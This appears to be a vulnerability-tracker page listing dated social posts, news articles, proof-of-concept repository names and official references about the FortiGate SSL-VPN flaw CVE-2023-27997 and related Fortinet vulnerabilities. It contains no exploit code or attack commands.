    フォーティネット、SSL-VPNシンボリックリンクエクスプロイトによるパッチ適用後も攻撃者がFortiGateへのアクセスを維持する可能性があると警告 フォーティネットは、デバイスへの侵入に使用された最初のアクセスベクトルにパッチが適用された後でも、脅威の攻撃者が脆弱な FortiGate デバイスへの読み取り専用アクセスを維持する方法を発見したことを明らかにしました。 攻撃者は、CVE-2022-42475、CVE-2023-27997、CVE-2024-21762など、…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2025-04-13 13:44 UTC
    フォーティネット、既知の脆弱性に対する新たな攻撃後手法に関するアドバイザリを公開 フォーティネットは、FortiGate製品において過去に悪用されたフォーティネットの脆弱性(CVE-2024-21762、CVE-2023-27997、CVE-2022-42475)を悪用した悪意のあるファイルを作成した脅威アクターを確認しています。この悪意のあるファイルは、デバイスのファイルシステム上のファイル(設定情報を含む可能性があります)への読み取り専用アクセスを可能にする可能性があり…
    Open source
  • social bsky.app @undercode.bsky.social 2025-04-13 12:51 UTC
    Ongoing Attack on FortiGate Devices Exploiting Symlinks for Persistent Access Fortinet has disclosed a new attack targeting FortiGate devices, where attackers maintain "read-only" access even after patching known vulnerabilities (CVE-2022-…
    Open source
  • social bsky.app @cyberhub.blog 2025-04-13 03:20 UTC
    📌 Fortinet Warns of Persistent Read-Only Access to FortiGate Devices Despite Patching https://www.cyberhub.blog/article/3689-fortinet-warns-of-persistent-read-only-access-to-fortigate-devices-despite-patching
    Open source
  • social bsky.app @hacker.at.thenote.app 2025-04-12 23:56 UTC
    Fortinet Warns Attackers Retain FortiGate Access Post-Patching via SSL-VPN Symlink Exploit Fortinet has revealed that threat actors have found a way to maintain read-only access to vulnerable FortiGate devices even after the initial access…
    Open source
  • social bsky.app @dpsa.bsky.social 2025-04-12 17:28 UTC
    Open source
  • social bsky.app @undercode.bsky.social 2025-04-12 09:24 UTC
    Fortinet Confirms Attackers Maintained Read-Only Access to FortiGate Devices Despite Patching Fortinet has disclosed that attackers retained read-only access to FortiGate devices even after administrators patched known vulnerabilities (CVE…
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-04-11 18:40 UTC
    Fortinet waarschuwt voor 'read-only aanval' op FortiGate-firewalls
    Open source
  • social bsky.app @dpsa.bsky.social 2025-04-11 18:05 UTC
    Open source
  • social bsky.app @thehackernews.com.web.brid.gy 2025-04-11 17:55 UTC
    Open source
  • news thehackernews.com 2025-04-11 07:00 UTC
    Fortinet Warns Attackers Retain FortiGate Access Post-Patching via SSL-VPN Symlink Exploit - The Hacker News
    Open source
  • code github.com node011 2024-11-14 14:41 UTC
    node011/CVE-2023-27997-POC
    Open source
  • news securityweek.com 2024-11-13 08:00 UTC
    Citrix, Cisco, Fortinet Zero-Days Among 2023’s Most Exploited Vulnerabilities - SecurityWeek
    Open source
  • news cybersecuritynews.com 2024-11-13 08:00 UTC
    CISA, NSA, & FBI Release List of 15 Most Exploited Vulnerabilities in 2023 - CyberSecurityNews
    Open source
  • news arcticwolf.com 2024-02-08 08:00 UTC
    Recommendations for CVE-2024-21762 and CVE-2024-23113 - Arctic Wolf
    Open source
  • news therecord.media 2024-02-06 08:00 UTC
    Dutch intelligence finds Chinese hackers spying on secret Defence Ministry network - The Record from Recorded Future News
    Open source
  • social bsky.app @alexandreborges.bsky.social 2023-11-01 16:03 UTC
    Building an Exploit for FortiGate Vulnerability CVE-2023-27997: bishopfox.com/blog/buildin... #exploitation #exploit #vulnerability #infosec #cve #blueteam
    Open source
  • social bsky.app @warthogtk.bsky.social 2023-11-01 01:58 UTC
    Building an Exploit for FortiGate Vulnerability CVE-2023-27997 bishopfox.com/blog/buildin...
    Open source
  • social bsky.app @opfuchs.gay 2023-10-27 21:28 UTC
    Exploiting CVE-2023-27997, writeup from BF: bishopfox.com/blog/buildin...
    Open source
  • code github.com delsploit 2023-10-12 17:50 UTC
    delsploit/CVE-2023-27997
    Open source
  • code github.com lexfo 2023-10-12 16:12 UTC
    lexfo/xortigate-cve-2023-27997
    Open source
  • code github.com Cyb3rEnthusiast 2023-09-03 10:01 UTC
    Cyb3rEnthusiast/CVE-2023-27997
    Open source
  • social bsky.app @r-netsec.bsky.social 2023-07-30 15:58 UTC
    CVE-2023-27997: Critical Fortinet Fortigate RCE Vulnerability
    Open source
  • social bsky.app @shadowserver.bsky.social 2023-07-18 12:23 UTC
    Rrack known vulnerable instances (only in cases where we can determine the FortiOS version remotely) in our Vulnerable HTTP report https://shadowserver.org/what-we-do/network-reporting/vulnerable-http-report/. This includes CVE-2023-33308,…
    Open source
  • social bsky.app @crawler.baldanders.info 2023-07-18 10:52 UTC
    更新:Fortinet 製 FortiOS および FortiProxy の脆弱性対策について(CVE-2023-27997) https://www.ipa.go.jp/security/security-alert/2023/alert20230613.html
    Open source
  • news cyfirma.com 2023-07-12 07:00 UTC
    XORTIGATE Vulnerability : Unmasking Critical Threats in Fortinet's FortiOS and FortiProxy SSL-VPN (CVE-2023-27997) - cyfirma
    Open source
  • code github.com TechinsightsPro 2023-07-11 20:41 UTC
    TechinsightsPro/ShodanFortiOS
    Open source
  • social bsky.app @ravirockks.bsky.social 2023-07-08 00:33 UTC
    'Bishop Fox internally developed an exploit for CVE-2023-27997, a heap overflow in FortiOS—the OS behind FortiGate firewalls—that allows remote code execution. There are 490,000 affected SSL VPN interfaces exposed on the internet, and roug…
    Open source
  • social bsky.app @projetfox.com 2023-07-06 07:00 UTC
    💻CYBERSEC Près de 70 % des pare-feux FortiGate seraient vulnérables à une récente faille de sécurité. Le bug, suivi sous le nom de CVE-2023-27997, a été découvert par des chercheurs de @LexfoSecurite. therecord.media/fortigate-fire…
    Open source
  • social bsky.app @no53lf.bsky.social 2023-07-05 23:55 UTC
    If only 153,414 devices on the internet are patched, that leaves 335,923 / 489,337 = 69% unpatched. https://bishopfox.com/blog/cve-2023-27997-exploitable-and-fortigate-firewalls-vulnerable
    Open source
  • social bsky.app @youranonriots.bsky.social 2023-07-04 22:57 UTC
    Critical Alert! Over 330,000 FortiGate firewalls are still vulnerable to the critical CVE-2023-27997 RCE exploit! Don't be a sitting duck, PATCH NOW! https://thehackernews.com/2023/07/alert-330000-fortigate-firewalls-still.html #cybersecur…
    Open source
  • social bsky.app @derekrjohnson.dev 2023-07-04 22:35 UTC
    Nearly 69% of the almost half a million Fortinet firewalls are still unpatched from CVE-2023-27997. https://thehackernews.com/2023/07/alert-330000-fortigate-firewalls-still.html?m=1
    Open source
  • social bsky.app @hack4career.com 2023-07-04 12:59 UTC
    340,000+ Fortinet firewalls wide open to flaw – report "More than 338,000 FortiGate firewalls are still unpatched and vulnerable to CVE-2023-27997, a critical bug Fortinet fixed last month that's being exploited in the wild."
    Open source
  • social bsky.app @kyputer.com 2023-07-03 19:54 UTC
    ~336k FortiGate firewalls are reachable and vulnerable to the Xortigate vulnerability. Some of these devices have not been updated for the past 8 years. As a result, some of them are running versions that are no longer supported. This expl…
    Open source
  • social bsky.app @noperator.bsky.social 2023-07-03 18:02 UTC
    https://bishopfox.com/blog/cve-2023-27997-exploitable-and-fortigate-firewalls-vulnerable?utm_campaign=awareness&utm_medium=social&utm_source=bsky&utm_term=blog
    Open source
  • social bsky.app @noperator.bsky.social 2023-07-03 18:01 UTC
    Another banger from my team at @bishopfox.bsky.social 🔥 We developed an exploit for CVE-2023-27997: heap overflow 👉 preauth RCE in FortiGate firewalls. 69% of internet-facing firewalls are unpatched, and there are some _old_ (8+ yrs) Forti…
    Open source

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-27997
fortiguard.com
GitHub CVE
https://fortiguard.com/psirt/FG-IR-23-097
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27997